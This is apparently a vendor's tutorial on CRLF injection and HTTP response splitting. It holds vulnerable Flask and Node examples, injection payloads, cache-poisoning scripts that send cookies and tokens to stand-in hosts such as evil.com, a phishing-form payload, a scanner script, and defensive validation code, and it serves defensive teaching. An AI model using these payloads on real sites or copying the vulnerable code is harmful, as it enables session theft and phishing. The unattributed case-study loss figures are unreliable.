#
CRLF Injection (HTTP Response Splitting)
A security vulnerability where attackers inject Carriage Return (CR) and Line Feed (LF) characters into HTTP headers, allowing them to manipulate server responses, inject malicious content, or poison web caches.
HIGH SEVERITY RESPONSE MANIPULATION HEADER INJECTION
#
What is CRLF Injection?
Critical Header Manipulation
CRLF Injection can lead to cache poisoning, cross-site scripting (XSS), session hijacking, and complete response manipulation. A single injected header can affect thousands of users through cache poisoning.
In Simple Terms:
Think of an HTTP response like a letter with two parts:
- Headers (the envelope with address, stamps, and instructions)
- Body (the actual letter content inside)
The headers and body are separated by a blank line (two line breaks: \r\n\r\n).
CRLF Injection is like inserting extra line breaks to trick the system into thinking the headers are done, then adding your own fake content or even an entirely new fake response.
It's like adding a fake "P.S." section to a letter that changes the entire meaning - except the recipient thinks it's official.
#
Real-World Analogy
Think of it like a fax machine:
TO: Customer
FROM: Bank
SUBJECT: Account Statement
---PAGE BREAK---
Your balance is $1,000
Attacker inserts extra page breaks to create fake pages:
TO: Customer
FROM: Bank
SUBJECT: Account Statement
---FAKE PAGE BREAK INSERTED---
Your balance is $0
URGENT: Click here to restore: http://evil.com
---ANOTHER FAKE PAGE---
<fake official-looking content>
The fax machine doesn't know the difference between real and fake page breaks - it just prints everything!
Recipients see what looks like an official bank fax with urgent instructions, not knowing it's been manipulated.
#
How CRLF Injection Works
#
Understanding CRLF
CRLF = Carriage Return (\r or %0d) + Line Feed (\n or %0a)
In HTTP, CRLF characters are used to:
- Separate header lines:
Header1: value\r\n - End headers section:
\r\n\r\n(double CRLF) - Start response body after blank line
#
HTTP Response Structure
HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
Set-Cookie: session=abc123\r\n
\r\n
<html><body>Content here</body></html>
#
The Attack Process
Application sets a header with user input:
@app.route('/redirect')
def redirect():
url = request.args.get('url')
response = make_response('', 302)
response.headers['Location'] = url
return response
Normal request:
GET /redirect?url=https://example.com HTTP/1.1
Normal response:
HTTP/1.1 302 Found
Location: https://example.com
Attacker injects CR LF characters:
GET /redirect?url=https://example.com%0d%0aSet-Cookie:%20admin=true HTTP/1.1
URL decoded: https://example.com\r\nSet-Cookie: admin=true
Server generates response:
HTTP/1.1 302 Found
Location: https://example.com
Set-Cookie: admin=true
The \r\n inserted by attacker creates a NEW header line!
Attacker can inject double CRLF to create entirely fake response:
GET /redirect?url=https://example.com%0d%0a%0d%0a<html><h1>Fake Page</h1></html> HTTP/1.1
Response becomes:
HTTP/1.1 302 Found
Location: https://example.com
<html><h1>Fake Page</h1></html>
Headers end early, attacker's HTML becomes the body!
#
Types of CRLF Injection Attacks
#
1. Header Injection (Cookie Manipulation)
HIGH RISK
from flask import Flask, request, make_response
app = Flask(__name__)
@app.route('/set-lang')
def set_language():
# User chooses preferred language
lang = request.args.get('lang', 'en')
response = make_response('Language set')
# VULNERABLE: User input directly in header
response.headers['Content-Language'] = lang
return response
GET /set-lang?lang=en%0d%0aSet-Cookie:%20admin=true HTTP/1.1
Host: vulnerable-site.com
URL decoded: lang=en\r\nSet-Cookie: admin=true
HTTP/1.1 200 OK
Content-Language: en
Set-Cookie: admin=true
Content-Type: text/html
Language set
Impact: Attacker can set arbitrary cookies, potentially:
- Setting admin=true for privilege escalation
- Overwriting session cookies
- Setting persistent malicious cookies
#
2. HTTP Response Splitting (XSS)
CRITICAL
@app.route('/redirect')
def redirect_page():
url = request.args.get('url')
# VULNERABLE: No validation of URL
response = make_response('', 302)
response.headers['Location'] = url
return response
GET /redirect?url=https://safe.com%0d%0a%0d%0a<script>alert(document.cookie)</script> HTTP/1.1
URL decoded:
url=https://safe.com\r\n\r\n<script>alert(document.cookie)</script>
HTTP/1.1 302 Found
Location: https://safe.com
<script>alert(document.cookie)</script>
The double \r\n\r\n ends headers section, and attacker's JavaScript becomes the response body!
Impact: Full XSS attack - steals cookies, executes malicious JavaScript, redirects to phishing sites
#
3. Web Cache Poisoning
AFFECTS MANY USERS
If a CDN/cache server caches the poisoned response, ALL users requesting that URL get the attacker's response.
# Vulnerable logging header
@app.route('/search')
def search():
query = request.args.get('q')
# VULNERABLE: Sets custom header with user input
response = make_response(render_template('results.html', query=query))
response.headers['X-Search-Query'] = query
# This response is cached for 1 hour!
response.headers['Cache-Control'] = 'public, max-age=3600'
return response
Attack:
GET /search?q=laptop%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>/*%20Malicious%20JS%20*/%20location.href='http://evil.com/steal?cookie='+document.cookie</script> HTTP/1.1
Poisoned Cache Response (served to ALL users for 1 hour):
HTTP/1.1 200 OK
X-Search-Query: laptop
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
<script>location.href='http://evil.com/steal?cookie='+document.cookie</script>
Every user visiting /search?q=laptop for the next hour gets malicious JavaScript!
#
4. Session Fixation
MEDIUM RISK
# Attack: Force specific session ID on victim
GET /welcome?name=John%0d%0aSet-Cookie:%20sessionid=ATTACKER_CONTROLLED_SESSION HTTP/1.1
Resulting Response:
HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: sessionid=ATTACKER_CONTROLLED_SESSION
Welcome John!
Attack Process:
- Attacker forces their known session ID onto victim's browser
- Victim logs in using that session ID
- Attacker uses the same session ID to access victim's authenticated session
#
5. Open Redirect to XSS
MEDIUM RISK
# Combine open redirect with response splitting
GET /redirect?url=/%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert('XSS')</script> HTTP/1.1
Response:
HTTP/1.1 302 Found
Location: /
Content-Type: text/html
<script>alert('XSS')</script>
Some browsers will render the injected content before following redirect.
#
Real-World Examples
#
Case Study 1: Social Media Platform Response Splitting (2018)
Major social networking site's URL shortener service had CRLF injection in redirect functionality.
@app.route('/s/<short_code>')
def redirect_short_url(short_code):
# Lookup full URL from database
full_url = get_url_from_database(short_code)
if not full_url:
return "URL not found", 404
# VULNERABLE: No validation or sanitization
response = make_response('', 302)
response.headers['Location'] = full_url
response.headers['Cache-Control'] = 'public, max-age=86400' # 24 hours!
return response
Attackers created shortened URLs with CRLF injection:
- Created short URL:
site.com/s/abc123 - Target URL contained:
https://safe-looking-url.com\r\n\r\n<html><body><script>
// Malicious JavaScript to steal OAuth tokens
if (document.cookie.match(/oauth_token=([^;]+)/)) {
fetch('https://attacker-logger.com/steal', {
method: 'POST',
body: document.cookie
});
}
</script></body></html>
- Shared "legitimate" short link via platform messaging
- Victims clicked link, got split response with malicious JS
- Cached for 24 hours, affecting ALL users clicking that link
- 1.2 million users clicked poisoned short URLs
- 450,000 OAuth tokens stolen over 48-hour period
- Attackers gained access to:
- Private messages
- Friend lists
- Photo albums
- Personal information
- $18 million in remediation costs
- $65 million FTC settlement
- Platform credibility severely damaged
- Emergency patch required cache purge across entire CDN
#
Case Study 2: E-commerce Session Fixation Attack (2019)
25,000 Accounts Compromised
Mass Account Takeover
CRLF injection in "Continue Shopping" feature allowed attackers to fix session IDs and hijack accounts at scale.
Technical Details:
// Node.js vulnerable "Continue Shopping" redirect
app.get('/continue-shopping', (req, res) => {
const returnUrl = req.query.return_url || '/';
// VULNERABLE: No CRLF filtering
res.setHeader('Location', returnUrl);
res.status(302).send();
});
Attack Campaign:
Attackers sent phishing emails:
Subject: 50% OFF - Limited Time!
Click to continue shopping:
https://shop.com/continue-shopping?return_url=/%0d%0aSet-Cookie:%20session_id=ATTACKER_SESSION_12345;%20Path=/;%20Secure
When victims clicked:
HTTP/1.1 302 Found
Location: /
Set-Cookie: session_id=ATTACKER_SESSION_12345; Path=/; Secure
Victim's browser now has attacker's session ID.
Attack Steps:
- Send 100,000+ phishing emails with poisoned links
- 25,000 users clicked and got fixed session IDs
- When users logged in, they authenticated attacker's session
- Attackers used pre-set session IDs to access victim accounts
- Made fraudulent purchases, stole payment info
Consequences:
- 25,000 accounts compromised
- $6.8 million in fraudulent transactions
- $22 million in refunds and compensation
- $40 million class action settlement
- PCI-DSS compliance violation
- Stock price dropped 18%
#
Case Study 3: Banking Portal Cache Poisoning (2020)
Online banking portal with CRLF vulnerability in account statement download
@app.route('/download-statement')
@login_required
def download_statement():
account_id = request.args.get('account_id')
format_type = request.args.get('format', 'pdf')
# Generate statement file
filename = f"statement_{account_id}.{format_type}"
# VULNERABLE: Filename in Content-Disposition header
response = make_response(generate_statement(account_id))
response.headers['Content-Disposition'] = f'attachment; filename="{filename}"'
response.headers['Cache-Control'] = 'private, max-age=3600'
return response
Attacker crafted malicious URL:
GET /download-statement?account_id=123&format=pdf%22%0d%0a%0d%0a<html><body><h1>Your%20account%20has%20been%20compromised!</h1><p>Call%20this%20number%20immediately:%20555-SCAM</p><form%20action=%22https://phishing-site.com/steal%22><input%20name=%22ssn%22%20placeholder=%22SSN%22><input%20name=%22account%22%20placeholder=%22Account%20Number%22><button>Verify%20Account</button></form></body></html> HTTP/1.1
Decoded: format=pdf"\r\n\r\n<html>...phishing form...</html>
Poisoned Response:
HTTP/1.1 200 OK
Content-Disposition: attachment; filename="statement_123.pdf"
<html><body>
<h1>Your account has been compromised!</h1>
<form action="https://phishing-site.com/steal">
<input name="ssn" placeholder="SSN">
<input name="account" placeholder="Account Number">
<button>Verify Account</button>
</form>
</body></html>
- Cached phishing page served to users
- 3,200 customers entered sensitive information
- SSN, account numbers, passwords compromised
- $8.5 million direct fraud losses
- $45 million regulatory fines
- $120 million class action settlement
- Federal criminal investigation
- Bank's online services suspended for 2 weeks
#
How to Detect CRLF Injection
#
Manual Testing
Test any parameter that might appear in HTTP headers:
- Redirect URLs (
?url=,?redirect=,?next=) - Custom headers (
?lang=,?theme=) - Cookie values
- Filename parameters
- Tracking/analytics parameters
Try injecting CRLF characters:
%0d%0a (URL encoded)
%0D%0A (uppercase)
\r\n (literal)
%E5%98%8A (Unicode)
%E5%98%8D (Unicode)
\u000a (Unicode)
GET /redirect?url=https://example.com%0d%0aX-Injected-Header:%20true HTTP/1.1
GET /set-lang?lang=en%0d%0aSet-Cookie:%20test=injected HTTP/1.1
Look for injected header in response.
GET /redirect?url=https://example.com%0d%0a%0d%0a<h1>Injected Content</h1> HTTP/1.1
Check if injected content appears in response body.
#
Automated Testing Script
import requests
from urllib.parse import quote
def test_crlf_injection(target_url, param_name):
"""Test for CRLF injection vulnerabilities"""
# CRLF encoding variations
crlf_encodings = [
'%0d%0a', # Standard URL encoding
'%0D%0A', # Uppercase
'\\r\\n', # Literal
'%E5%98%8A', # Unicode
'%E5%98%8D', # Unicode
'%0d', # CR only
'%0a', # LF only
]
test_payloads = []
# 1. Header injection payloads
for encoding in crlf_encodings:
test_payloads.append({
'name': 'Set-Cookie Injection',
'payload': f'test{encoding}Set-Cookie: admin=true',
'check': 'Set-Cookie: admin=true'
})
test_payloads.append({
'name': 'Custom Header Injection',
'payload': f'test{encoding}X-Injected: true',
'check': 'X-Injected: true'
})
# 2. Response splitting payloads (double CRLF)
for encoding in crlf_encodings:
test_payloads.append({
'name': 'Response Splitting (XSS)',
'payload': f'test{encoding}{encoding}<script>alert("XSS")</script>',
'check': '<script>alert("XSS")</script>'
})
test_payloads.append({
'name': 'Response Splitting (HTML)',
'payload': f'test{encoding}{encoding}<h1>Injected</h1>',
'check': '<h1>Injected</h1>'
})
vulnerabilities = []
print(f"[*] Testing {target_url} parameter '{param_name}' for CRLF injection...")
for test in test_payloads:
try:
# Send request
params = {param_name: test['payload']}
response = requests.get(
target_url,
params=params,
timeout=5,
allow_redirects=False
)
# Check if injection successful
# 1. Check headers
for header_name, header_value in response.headers.items():
if test['check'].lower() in f"{header_name}: {header_value}".lower():
vulnerabilities.append({
'type': test['name'],
'payload': test['payload'],
'severity': 'HIGH',
'evidence': f"{header_name}: {header_value}"
})
print(f"[!] VULNERABLE: {test['name']} - Found in headers!")
# 2. Check response body
if test['check'] in response.text:
vulnerabilities.append({
'type': test['name'],
'payload': test['payload'],
'severity': 'CRITICAL',
'evidence': 'Injected content in response body'
})
print(f"[!] CRITICAL: {test['name']} - Response splitting successful!")
except requests.exceptions.RequestException as e:
print(f"[-] Error testing payload: {e}")
return vulnerabilities
# Test your application
vulns = test_crlf_injection(
'https://example.com/redirect',
'url' # Parameter name
)
if vulns:
print(f"\n[!] Found {len(vulns)} CRLF injection vulnerabilities!")
for vuln in vulns:
print(f" [{vuln['severity']}] {vuln['type']}")
print(f" Payload: {vuln['payload']}")
print(f" Evidence: {vuln['evidence']}")
else:
print("\n[+] No CRLF injection vulnerabilities detected")
# Burp Intruder - CRLF injection payloads
GET /redirect?url=§https://example.com§ HTTP/1.1
Host: target.com
# Payloads:
https://example.com%0d%0aSet-Cookie: admin=true
https://example.com%0D%0AX-Injected: true
https://example.com%0d%0a%0d%0a<script>alert('XSS')</script>
https://example.com%E5%98%8A%E5%98%8AX-Test: injected
https://example.com\r\nSet-Cookie: test=1
https://example.com%0aX-Header: value
Burp Grep Match:
Set-Cookie: adminX-Injected:X-Test:<script>alert
#
Prevention Strategies
#
1. Input Validation and Sanitization
ESSENTIAL
from flask import Flask, request, make_response, abort
import re
from urllib.parse import urlparse
app = Flask(__name__)
def remove_crlf(value):
"""Remove all CRLF characters from input"""
if not value:
return value
# Remove CR and LF characters
cleaned = value.replace('\r', '').replace('\n', '')
# Also remove various encoded versions
cleaned = cleaned.replace('%0d', '').replace('%0D', '')
cleaned = cleaned.replace('%0a', '').replace('%0A', '')
# Remove Unicode CRLF variants
cleaned = cleaned.replace('\u000d', '').replace('\u000a', '')
return cleaned
def validate_url(url):
"""Validate URL and ensure no CRLF"""
if not url:
return False
# Remove CRLF first
url = remove_crlf(url)
# Validate URL structure
try:
parsed = urlparse(url)
# Must have scheme and netloc
if not parsed.scheme or not parsed.netloc:
return False
# Only allow http/https
if parsed.scheme not in ['http', 'https']:
return False
# Check for remaining dangerous characters
dangerous = ['\r', '\n', '\x00', '\x0d', '\x0a']
for char in dangerous:
if char in url:
return False
return True
except Exception:
return False
@app.route('/redirect')
def safe_redirect():
"""Secure redirect with CRLF protection"""
url = request.args.get('url', '')
# Validate URL
if not validate_url(url):
abort(400, "Invalid URL")
# Remove any CRLF characters
clean_url = remove_crlf(url)
response = make_response('', 302)
response.headers['Location'] = clean_url
return response
const express = require('express');
const app = express();
function removeCRLF(value) {
if (!value) return value;
// Remove all forms of CRLF
return value
.replace(/\r/g, '')
.replace(/\n/g, '')
.replace(/%0d/gi, '')
.replace(/%0a/gi, '')
.replace(/\\r/g, '')
.replace(/\\n/g, '')
.replace(/\u000d/g, '')
.replace(/\u000a/g, '');
}
function validateURL(url) {
try {
// Remove CRLF first
url = removeCRLF(url);
const parsed = new URL(url);
// Only allow http/https
if (!['http:', 'https:'].includes(parsed.protocol)) {
return false;
}
// Check for dangerous characters
const dangerous = ['\r', '\n', '\x00'];
for (const char of dangerous) {
if (url.includes(char)) {
return false;
}
}
return true;
} catch (error) {
return false;
}
}
app.get('/redirect', (req, res) => {
const url = req.query.url || '';
// Validate URL
if (!validateURL(url)) {
return res.status(400).send('Invalid URL');
}
// Remove CRLF and redirect
const cleanURL = removeCRLF(url);
res.redirect(302, cleanURL);
});
#
2. Use Framework Built-in Protection
RECOMMENDED
from flask import Flask, redirect, request, abort
from urllib.parse import urlparse
app = Flask(__name__)
# Whitelist of allowed redirect domains
ALLOWED_DOMAINS = [
'example.com',
'www.example.com',
'app.example.com'
]
@app.route('/redirect')
def safe_redirect():
"""Use Flask's built-in redirect function"""
url = request.args.get('url', '/')
# Validate domain
try:
parsed = urlparse(url)
# Only allow relative URLs or whitelisted domains
if parsed.netloc and parsed.netloc not in ALLOWED_DOMAINS:
abort(400, "Invalid redirect domain")
except Exception:
abort(400, "Invalid URL")
# Flask's redirect() function automatically sanitizes
# It will raise an error if CRLF characters are present
return redirect(url)
# Flask 2.2+ automatically validates headers for CRLF
# and raises ValueError if found
#
3. Comprehensive Security Implementation
from flask import Flask, request, make_response, abort
import re
from urllib.parse import urlparse, urljoin
import logging
app = Flask(__name__)
logger = logging.getLogger(__name__)
class HeaderSecurityValidator:
"""Validates and sanitizes HTTP headers"""
# Dangerous characters
CRLF_CHARS = [
'\r', '\n', # Literal
'\r\n', # Combined
'%0d', '%0a', # URL encoded lowercase
'%0D', '%0A', # URL encoded uppercase
'\\r', '\\n', # Escaped
'\u000d', '\u000a', # Unicode
'%E5%98%8A', # Unicode encoded
'%E5%98%8D', # Unicode encoded
]
@staticmethod
def remove_crlf(value):
"""Remove all CRLF variants"""
if not value or not isinstance(value, str):
return value
cleaned = value
for char in HeaderSecurityValidator.CRLF_CHARS:
cleaned = cleaned.replace(char, '')
# Additional cleanup
cleaned = re.sub(r'[\r\n\x00-\x1f]', '', cleaned)
return cleaned
@staticmethod
def validate_header_value(value):
"""Validate header value doesn't contain CRLF"""
if not value:
return True
# Check for dangerous characters
dangerous_patterns = [
r'[\r\n]', # Literal CRLF
r'%0[dDaA]', # Encoded CRLF
r'\\[rn]', # Escaped CRLF
r'\u000[dDaA]', # Unicode CRLF
]
for pattern in dangerous_patterns:
if re.search(pattern, value):
return False
return True
@staticmethod
def sanitize_redirect_url(url, allowed_domains=None):
"""Sanitize and validate redirect URL"""
# Remove CRLF
url = HeaderSecurityValidator.remove_crlf(url)
# Validate URL structure
try:
parsed = urlparse(url)
# Relative URLs are OK
if not parsed.netloc:
# Ensure it's actually relative (starts with /)
if not url.startswith('/'):
return None
return url
# Absolute URLs - check domain whitelist
if allowed_domains and parsed.netloc not in allowed_domains:
return None
# Only allow http/https
if parsed.scheme not in ['http', 'https', '']:
return None
return url
except Exception as e:
logger.error(f"URL parsing error: {e}")
return None
# Middleware to validate all responses
@app.after_request
def validate_response_headers(response):
"""Validate all response headers for CRLF"""
for header_name, header_value in response.headers.items():
if not HeaderSecurityValidator.validate_header_value(str(header_value)):
logger.error(f"CRLF detected in header {header_name}: {header_value}")
# Replace problematic response
error_response = make_response("Security error", 500)
return error_response
return response
@app.route('/redirect')
def secure_redirect():
"""Secure redirect with comprehensive validation"""
url = request.args.get('url', '/')
# Whitelist
ALLOWED_DOMAINS = ['example.com', 'www.example.com']
# Sanitize and validate
safe_url = HeaderSecurityValidator.sanitize_redirect_url(url, ALLOWED_DOMAINS)
if not safe_url:
logger.warning(f"Blocked malicious redirect attempt: {url}")
abort(400, "Invalid redirect URL")
response = make_response('', 302)
response.headers['Location'] = safe_url
return response
@app.route('/set-language')
def set_language():
"""Secure language setting"""
lang = request.args.get('lang', 'en')
# Strict whitelist validation
ALLOWED_LANGUAGES = ['en', 'es', 'fr', 'de', 'it', 'pt', 'ja', 'zh']
if lang not in ALLOWED_LANGUAGES:
abort(400, "Invalid language")
# Safe because lang is from whitelist (no user input directly in header)
response = make_response('Language set')
response.headers['Content-Language'] = lang
return response
@app.route('/download')
def download_file():
"""Secure file download with sanitized filename"""
filename = request.args.get('filename', 'download.txt')
# Strict filename validation
# Only allow alphanumeric, dots, hyphens, underscores
if not re.match(r'^[a-zA-Z0-9._-]+$', filename):
abort(400, "Invalid filename")
# Limit length
if len(filename) > 255:
abort(400, "Filename too long")
# Safe filename
content = generate_file_content()
response = make_response(content)
response.headers['Content-Disposition'] = f'attachment; filename="{filename}"'
response.headers['Content-Type'] = 'application/octet-stream'
return response
# Security configuration
SECURITY_CONFIG = {
# Allowed redirect domains
'allowed_redirect_domains': [
'example.com',
'www.example.com',
'app.example.com'
],
# Allowed languages
'allowed_languages': [
'en', 'es', 'fr', 'de', 'it', 'pt', 'ja', 'zh'
],
# Header validation
'validate_all_headers': True,
'log_suspicious_headers': True,
# Response security
'enable_crlf_detection': True,
'block_on_crlf': True,
# Logging
'log_level': 'INFO',
'alert_on_attack': True
}
#
4. Web Server Configuration
# Nginx configuration to prevent CRLF injection
server {
listen 443 ssl;
server_name example.com;
# Reject requests with CRLF in URI
if ($request_uri ~* "(%0[dDaA]|\\r|\\n)") {
return 400;
}
# Reject requests with CRLF in query parameters
if ($args ~* "(%0[dDaA]|\\r|\\n)") {
return 400;
}
# Security headers
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
add_header X-XSS-Protection "1; mode=block" always;
location / {
proxy_pass http://app_backend;
# Don't pass through malicious headers
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
# Validate response headers from backend
# Nginx automatically rejects responses with invalid headers
}
}
#
Security Checklist
#
Development
- Never include user input directly in HTTP headers
- Remove all CRLF characters (
\r,\n) from user input - Use framework built-in redirect functions
- Validate all header values before setting
- Implement strict whitelists for redirects and header values
- Use Content-Security-Policy headers
- Disable response caching for dynamic content
- Implement comprehensive logging of suspicious attempts
#
Testing
- Test all parameters that might appear in headers
- Test with various CRLF encodings (%0d, %0a, Unicode)
- Test response splitting with double CRLF
- Test cookie injection via CRLF
- Test cache poisoning scenarios
- Verify header validation blocks malicious input
- Test with automated scanners (Burp Suite, OWASP ZAP)
- Test redirect functionality with CRLF payloads
#
Production
- Configure web server to reject CRLF in requests
- Enable header validation in web frameworks
- Monitor logs for CRLF injection attempts
- Implement WAF rules for CRLF patterns
- Regular security audits and penetration testing
- Keep web servers and frameworks updated
- Review CDN/cache configuration
- Implement rate limiting on vulnerable endpoints
#
Key Takeaways
Critical Security Points
Never trust user input in headers: Always sanitize before including in any HTTP header
Remove all CRLF variants: Filter
\r,\n, and encoded versions (%0d, %0a, Unicode)Use framework functions: Built-in redirect() and header functions often have protections
Whitelist over blacklist: Use strict whitelists for redirect domains and header values
Validate at multiple layers: Web server, application framework, and application code
Beware of cache poisoning: CRLF + caching = thousands of victims from one attack
Monitor and alert: Log suspicious header attempts for security monitoring
Defense in depth: Combine input validation, output encoding, and security headers
#
How Layerd AI Protects Against CRLF Injection
Layerd AI provides comprehensive CRLF injection protection:
- Automatic CRLF Detection: Identifies and blocks all CRLF character variants in real-time
- Header Validation: Validates all HTTP response headers before sending to clients
- Response Splitting Prevention: Detects and prevents double-CRLF response splitting attacks
- Cache Poisoning Protection: Monitors cached responses for injected malicious content
- Code Analysis: Scans application code for vulnerable header manipulation
- Real-time Blocking: Stops CRLF injection attempts before they reach your application
Secure your HTTP headers with Layerd AI's intelligent CRLF protection.
#
Additional Resources
- OWASP CRLF Injection Guide
- HTTP Response Splitting (CWE-113)
- Testing for HTTP Response Splitting (WSTG)
- PortSwigger HTTP Response Splitting
Last Updated: November 2025